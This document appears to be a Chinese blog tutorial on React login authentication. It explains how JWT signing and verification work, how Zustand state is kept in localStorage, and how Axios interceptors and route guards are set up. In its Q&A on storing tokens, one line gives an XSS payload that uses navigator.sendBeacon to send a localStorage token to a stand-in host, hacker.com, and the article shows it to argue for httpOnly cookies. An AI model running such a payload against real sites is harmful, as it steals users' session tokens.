React + JWT 登录鉴权底层原理与工程化实践

React + JWT 登录鉴权底层原理与工程化实践

不搞虚的,从 new XMLHttpRequest() 到 jwt.verify() 源码级全链路解析


序言:一切从 HTTP 的无状态本质说起

1.1 为什么服务器总"不认识"你?

HTTP 协议被设计为 Stateless(无状态)。这意味着,每一次客户端(浏览器/App)向服务端发起请求,都是一次全新的、独立的会话。服务器处理完请求后,不会保留任何关于客户端的上下文信息。

举个例子: 你登录了淘宝,服务器返回了 { success: true }。但当你接着去点击"我的订单"时,服务器会想:"咦?你是谁?你登录过吗?"------它完全不记得了。

解决方案的演变:

  • Cookie + Session 时代 :服务器在内存中存一份 Session(用户信息),把对应的 SessionId 通过 Set-Cookie 塞给浏览器。浏览器下次请求自动带上 Cookie。缺点:占用服务器内存,分布式环境下需要共享 Session 存储(如 Redis)。
  • JWT 时代 :服务器不存状态。把用户信息({id, role})加密签名 成一个字符串(Token)丢给客户端。客户端下次请求把 Token 放请求头里。服务器收到后,用密钥验签,自己算出来你是谁 。优点:完全无状态,水平扩展无敌。

我们项目采用的就是第二种方案------JWT。


第一章:JWT 原理拆箱------不只是"加密"那么简单

对照你的 readme.md: "JSON 身份对象 -> JWT(单向操作) -> Token"。这里的"单向操作"到底是什么?我们深入底层。

1.1 JWT 的物理结构(防伪原理)

一个 JWT Token 长这样(眼熟吧): eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW4iLCJpYXQiOjE2MjUxMD...zXQ.6tKt4R9d4PpL0...

它由三个 . 分割的部分组成:

组成部分 名称 作用 是否加密
Header 头部 声明签名算法(如 HS256)和 Token 类型 仅 Base64Url 编码(明文)
Payload 载荷 存放用户身份数据(user, role, exp 过期时间) 仅 Base64Url 编码(明文)
Signature 签名 对 Header.Payload 进行哈希签名,防止篡改 不可逆加密(带密钥)

底层细节(这是关键!) :很多人误以为 JWT 是加密的,别人看不到。大错特错! 你只要把 Token 的前两段丢到 jwt.io 里,立刻就能解码出 {"user":"admin"}。 JWT 的核心不是"隐藏信息",而是 "防篡改"。

Signature 的生成公式(HS256 算法):

javascript 复制代码
HMACSHA256(
  base64UrlEncode(Header) + "." + base64UrlEncode(Payload),
  secret // 这就是你代码里的 'secret819!$'
)

服务器验证时,重新用 secret 算一遍签名,如果和客户端传过来的 Signature 不一致,说明 Token 被篡改了,直接拒绝。

1.2 代码中的 Sign 与 Verify 深度解析(对照 mock/user.js)

(1)服务端签发(Sign)

javascript 复制代码
// 你代码中的 jwt.sign
const token = jwt.sign(
  { user: body.username, role: 'admin' }, // Payload
  secret,                                 // 服务器的"私密盐"
  { expiresIn: 86400 }                    // 过期时间单位秒
)

深入解读 expiresIn :这个选项不仅是在 Payload 里加一个 exp 字段(Unix 时间戳),更重要的是,verify 方法会主动对比当前时间与 exp 。如果当前时间 > exp,直接抛出 TokenExpiredError。所以,即使黑客拿到了 Token,24 小时后也自动失效。

(2)服务端校验(Verify)

javascript 复制代码
try {
  let decoded = jwt.verify(token, secret)
  // decoded 此时就是 { user: 'admin', role: 'admin', iat: 163..., exp: 163... }
} catch (err) {
  // err.name 可能是 'JsonWebTokenError' (篡改) 或 'TokenExpiredError' (过期)
  return { code: 401, msg: 'token无效' }
}

jwt.verify 做了三件底层事:

  1. 分割解析 :按 . 分割,Base64Url 解码 Header 和 Payload。
  2. 签名重算 :用 secret 重算 Signature,对比是否一致。
  3. 时间校验 :检查 exp(过期)和 nbf(生效时间)等。

第二章:Zustand 源码级原理------为什么它能跨组件、跨路由?

对照你的 readme.md:"全局共享,跨路由。zustand 统一管理状态 store 状态仓库"。

你可能用过 useContext,但 Context 一旦变化,所有消费组件都会强制重渲染,性能极差。Zustand 为什么快?因为它基于 "发布-订阅模式" + "不可变数据快照"。

2.1 Zustand 的底层运行机制(手写简化版原理)

你的代码中使用了 create(set => ({ ... }))。这个 create 函数底层核心逻辑如下(简化源码):

javascript 复制代码
const create = (createState) => {
  let state; // 闭包变量存储状态
  const listeners = new Set(); // 存储所有组件的更新函数

  // 这就是你用的 set 函数
  const setState = (partial) => {
    const nextState = typeof partial === 'function' ? partial(state) : partial;
    // 浅比较,如果没变化就不更新
    if (!Object.is(state, nextState)) {
      state = { ...state, ...nextState };
      // 通知所有订阅的组件重新渲染
      listeners.forEach(listener => listener(state));
    }
  };

  const getState = () => state;

  // 这就是 useAuthStore 返回的 hook
  const useStore = (selector = (s) => s) => {
    // 使用 useSyncExternalStore 连接 React 的并发渲染
    const snapshot = useSyncExternalStore(
      (onStoreChange) => {
        listeners.add(onStoreChange);
        return () => listeners.delete(onStoreChange); // 组件卸载时清理
      },
      () => selector(getState()) // 只有 selector 结果变了,组件才会 re-render
    );
    return snapshot;
  };

  // 初始化状态
  state = createState(setState, getState);
  return useStore;
};

结论 :Zustand 通过 selector(即 state => state.token)精准控制渲染粒度。只有你选中的 token 变了,Nav 组件才会刷新;如果 todos 变了但 token 没变,Nav 不会动。

2.2 为什么还要配合 localStorage?(持久化)

javascript 复制代码
token: localStorage.getItem('token') || '', // 关键!

Zustand 的状态是存在 JavaScript 内存 中的,刷新页面内存释放,状态归零。 我们将 Token 同步写入 localStorage,让 localStorage 成为持久化缓存层 。页面刷新时,useAuthStore 初始化时先从 localStorage 捞数据,实现了"刷新页面登录状态不丢失"。


第三章:Mockjs 是如何"欺骗"浏览器的?(网络拦截原理)

你用了 vite-plugin-mock。它背后其实是 Connect/Express 中间件,在 Vite Dev Server 层面拦截请求。

3.1 拦截时机

浏览器发起 fetch('/api/login') -> Vite 开发服务器监听到请求 -> 插件匹配 url: '/api/login' 和方法 POST -> 直接返回 response 函数里的 JSON 数据,根本没有打到真正的后端。

3.2 为什么能模拟延迟?

你的代码中写了 timeout: 2000,插件会在 setTimeout 2秒后再返回 response,完美模拟了网络 I/O 延迟,让前端 Loading 态有真实的测试环境。


第四章:登录与 Token 颁发的全链路生命周期(代码全解析)

我们走一遍 Login.jsx 点击登录的完整流程,并深挖每一个微小的细节。

4.1 实时表单验证(useEffect 的巧妙运用)

javascript 复制代码
useEffect(() => {
  const newErrors = { username: '', password: '' };
  if (!formData.username.trim()) newErrors.username = '用户名不能为空';
  else if (formData.username.length < 3) newErrors.username = '用户名至少3位';
  // ... 密码校验
  setErrors(newErrors);
  setIsValid(!newErrors.username && !newErrors.password);
}, [formData]); // 依赖 formData,每次输入都重新计算

底层细节 :这里的 disabled={!isValid} 并不是为了绝对安全(前端校验毫无安全可言),而是极致优化用户体验------减少无效请求,避免用户点了登录按钮后,后端返回 400 错误才告诉他"密码太短"。

4.2 登录成功后的状态注入(setAuth 原子化)

javascript 复制代码
const res = await login(formData); // 1. 拿到 { code:0, token, user }
if (res.code === 0) {
  setAuth({ token: res.token, user: res.user }); // 2. 原子化更新
  navigate(from, { replace: true }); // 3. 路由跳转
}

这里有一个容易被忽视的点:setAuth 和 navigate 的顺序 。先 setAuth 更新 Zustand,再 navigate 跳转。因为 React 18 的自动批处理(Automatic Batching),状态更新和路由跳转会在同一个微任务中完成,所以 Pay 页面加载时,RequireAuth 一定能立刻读到最新的 token。

jsx 复制代码
{!token && <Link to="/login">Login</Link>}
{user && <a>{user.username}</a>}
{token && <button onClick={handleLogout}>Logout</button>}

为什么不用一个 if...else 而用三个短路表达式?因为这样元素在 DOM 树中会被直接移除或插入 ,而不是通过 display: none 隐藏。这确保了点击退出登录后,Logout 按钮消失,Login 链接出现,不会有任何残留的事件监听。


第五章:Axios 拦截器------AOP(面向切面编程)的最佳实践

你写的 config.js 是整个鉴权系统的"血管"。我们深挖拦截器的执行机制。

5.1 请求拦截器的"队列"机制

javascript 复制代码
instance.interceptors.request.use(config => {
  const token = localStorage.getItem('token');
  if (token) config.headers['Authorization'] = `Bearer ${token}`;
  return config;
});

你可能不知道的底层 :Axios 的请求拦截器是 链式串行 的。你可以加多个 use,它们会按顺序执行。前一个 return 的值会传给后一个。

为什么这里要用 Bearer 前缀? 这是 HTTP 认证规范(RFC 6750),后端解析时通用做法是:

javascript 复制代码
const token = req.headers.authorization.split(' ')[1];

没有 Bearer 前缀,后端还得猜这是个 Token,有了前缀,一看就知道是 OAuth2 标准的 Bearer Token。

5.2 响应拦截器的"剥壳"操作(解耦)

javascript 复制代码
instance.interceptors.response.use(res => res.data);

这行代码虽然短,但极大提升了代码的可维护性 。 假设后端某一时刻突然把数据结构从 { code, data } 改成了 { status, result }。如果没有拦截器,你所有页面的 res.data.data 都要改。有了拦截器,你只需要改这一行:return res.data.result,业务代码 const res = await getRepo() 完全不用动。

5.3 如果 Token 过期了怎么办?(进阶思考)

虽然你的代码里没写,但一个健壮的响应拦截器应该处理 401:

javascript 复制代码
instance.interceptors.response.use(
  res => res.data,
  error => {
    if (error.response?.status === 401) {
      // 清除本地无效 token
      useAuthStore.getState().logout(); 
      // 跳转到登录页
      window.location.href = '/login'; 
    }
    return Promise.reject(error);
  }
);

注意这里用了 useAuthStore.getState() 而不是 useAuthStore(),因为拦截器不是 React 组件,不能使用 Hook,而 Zustand 暴露的 getState() 方法可以直接读取仓库快照。


第六章:路由守卫(RequireAuth)的底层渲染逻辑

你的 RequireAuth 组件虽然简单,但背后涉及 React Router v6 的核心机制。

jsx 复制代码
if (!token) return <Navigate to="/login" replace />;

Navigate 组件在渲染时,会直接触发路由历史栈的替换。

  • 如果没有 replace,点击浏览器的"返回"按钮会回到受保护的 /pay,然后因为没 token 再次跳转 /login,形成死循环。
  • 有了 replace,/pay 这个记录被 /login 替换掉了,用户点"返回"会回到更上一级页面。

6.2 登录成功后如何回到原来的页面?(状态传递)

你的 Login 组件里有 const from = location.state?.from || '/'。 配合路由守卫:

jsx 复制代码
// RequireAuth.jsx 改进版(你的代码没写,但逻辑是隐含的)
<Navigate to="/login" replace state={{ from: location.pathname }} />

通过 state 把来源路径传过去,登录成功后 navigate(from),这才是丝滑的登录闭环。


第七章:深度答疑------关于 JWT 和 Zustand 的五个灵魂拷问

Q1:JWT 存在 localStorage 里安全吗?(XSS 攻击)

答 :不安全!localStorage 可以被任何同源下的 JavaScript 读取。如果你的网站有一个 XSS 漏洞(比如评论区注入了 <script>),黑客可以直接 navigator.sendBeacon('//hacker.com?token='+localStorage.getItem('token')) 盗走 Token。 最佳实践 :将 Token 放在 httpOnly 的 Cookie 中,这样 JavaScript 无法读取,只有浏览器自动发送,防御 XSS。但要注意防御 CSRF(同站攻击)。

Q2:为什么你的 Mock 中用了 jwt 库,但前端却不用?

因为前端永远不应该持有 secret !secret 是用于签名的盐,如果暴露在前端源码里,黑客就能自己伪造 Admin 身份的 Token。这也是为什么 jwt.verify 只发生在 mock/user.js(模拟服务端)中。

Q3:如果我想在 axios 拦截器中获取 Zustand 的最新状态,但用不了 Hook 怎么办?

使用 useAuthStore.getState() (这是 Zustand 提供的非 Hook 访问方法),或者使用 useAuthStore.subscribe 监听变化。拦截器是纯函数,不依赖 React 渲染周期。

Q4:jwt.sign 是同步的还是异步的?

同步的。因为 HMAC-SHA256 是纯粹的 CPU 密集型计算,但现代 Node.js 处理一个几千字节的 Token 签名只需几微秒,完全阻塞不了事件循环,所以官方库直接提供了同步方法。

Q5:如果用户登录了,但我在另一个浏览器标签页修改了 localStorage,Zustand 能感知吗?

不能! storage 事件只在 跨标签页 触发,但 Zustand 不监听该事件。如果你需要多标签页同步(比如一处退出,全部退出),需要在 App.jsx 中添加:

javascript 复制代码
window.addEventListener('storage', (e) => {
  if (e.key === 'token' && !e.newValue) {
    useAuthStore.getState().logout();
  }
});

第八章:工程化目录结构的最佳实践建议

你的 store 目录分了 user.js 和 todos.js,这是非常好的 Ducks 模式(模块化状态管理)。

如果项目变大,建议这样的分层:

bash 复制代码
store/
├── index.js          # 统一导出所有 store
├── slices/
│   ├── authSlice.js  # 用户鉴权
│   ├── todosSlice.js # 待办列表
│   └── uiSlice.js    # 全局 Loading、Theme
└── middleware/
    └── persist.js    # 封装 localStorage 持久化中间件

Zustand 天然支持中间件,你可以封装一个 persist 中间件,自动序列化所有 state 到 localStorage,免去在每个 action 里手动 setItem 的重复劳动。


第九章:全链路时序图(完整版带错误分支)

为了让你把脑子里所有的碎片串起来,这是一张史诗级的时序图:

sequenceDiagram participant User participant LoginPage participant AuthStore participant LS as localStorage participant AxiosReq as Axios Request Interceptor participant MockSrv as Mock Server (JWT) participant Guard as Route Guard participant ProtectedPage %% 登录流程 User->>LoginPage: 1. 输入 admin/123456 LoginPage->>LoginPage: 2. useEffect 表单验证 (长度/非空) LoginPage->>MockSrv: 3. POST /api/login MockSrv->>MockSrv: 4. jwt.sign({user,role}, secret, {exp}) MockSrv-->>LoginPage: 5. { code:0, token, user } LoginPage->>AuthStore: 6. setAuth({token, user}) AuthStore->>LS: 7. setItem('token') & setItem('user') LoginPage->>User: 8. navigate('/') 跳转首页 %% 访问受保护资源 User->>ProtectedPage: 9. 点击进入 /pay ProtectedPage->>Guard: 10. RequireAuth 检查 Guard->>AuthStore: 11. 读取 state.token AuthStore-->>Guard: 12. 返回 token Guard->>ProtectedPage: 13. 允许渲染 children %% 请求受保护接口 ProtectedPage->>AxiosReq: 14. 发起 /api/repo AxiosReq->>LS: 15. getItem('token') LS-->>AxiosReq: 16. 返回 token AxiosReq->>MockSrv: 17. 请求头携带 Authorization: Bearer xxx MockSrv->>MockSrv: 18. jwt.verify(token, secret) alt 验签成功 MockSrv-->>ProtectedPage: 19. { code:0, data: ['repo1'] } else Token过期/篡改 MockSrv-->>ProtectedPage: 19. { code:401, msg:'无效' } ProtectedPage->>AuthStore: 20. logout() 清理状态 ProtectedPage->>User: 21. 重定向 /login end

结语:技术的本质是解决场景问题

我们不是为了写代码而写代码。

  • "HTTP 无状态" ------ 我们用了 JWT。
  • "组件通信状态共享" ------ 我们用了 Zustand。
  • "请求头带上 Authorization" ------ 我们用了 Axios 拦截器。
  • "跨路由鉴权" ------ 我们用了 RequireAuth 路由守卫。

每一个技术点,都是为了解决特定的业务痛点。希望这篇"掘金长文"能让你彻底弄懂前端鉴权的底层脉络,而不是只会调 npm install 的"配置工程师"。

如果你觉得这篇文章让你少走了三个月弯路,请猛击点赞和收藏,你的支持是我持续输出硬核内容的动力!

相关推荐
AiMan29 分钟前
腾讯ima还是不可以导出左侧所有对话,只能单条导出,方法不对吗
前端
去伪存真32 分钟前
并发量一高就装死?Agent 全链路“防猝死”手册
前端·agent
Moment35 分钟前
AI 编程时代,聊聊我的 Mac mini 双屏桌面
前端·后端
AiMan1 小时前
先确认能不能一次把Microsofat Copilot所有内容打包一个文件导出
前端
总要学点什么1 小时前
第97篇:三维数据加载-城市建筑白模自定义着色器——让一条光带沿高度扫上去,快慢却由帧率说了算
前端·gis·webgl·cesium·着色器·空间分析·白模
上海懒图科技1 小时前
工厂厂区电子地图定位导航:厂区人车精准定位,安全合规双保障
前端·arcgis·vue
西安小哥2 小时前
端侧跑大模型,真正的门槛不在参数量:一次 596 秒到 10 秒的压缩路径复盘
前端·人工智能
陈随易2 小时前
Cloudflare 出钱,Vite 团队挑人,44 个维护者分 30 万美元
前端·后端·程序员
恋猫de小郭3 小时前
Flutter THLC 的 WebView 滚动终于从 70 FPS 提升到 120 FPS
android·前端·flutter
严肃小白兔3 小时前
TanStack Router 更新构建工具链:Node.js 兼容性、路由分割与前端工程实践
前端·node.js·状态模式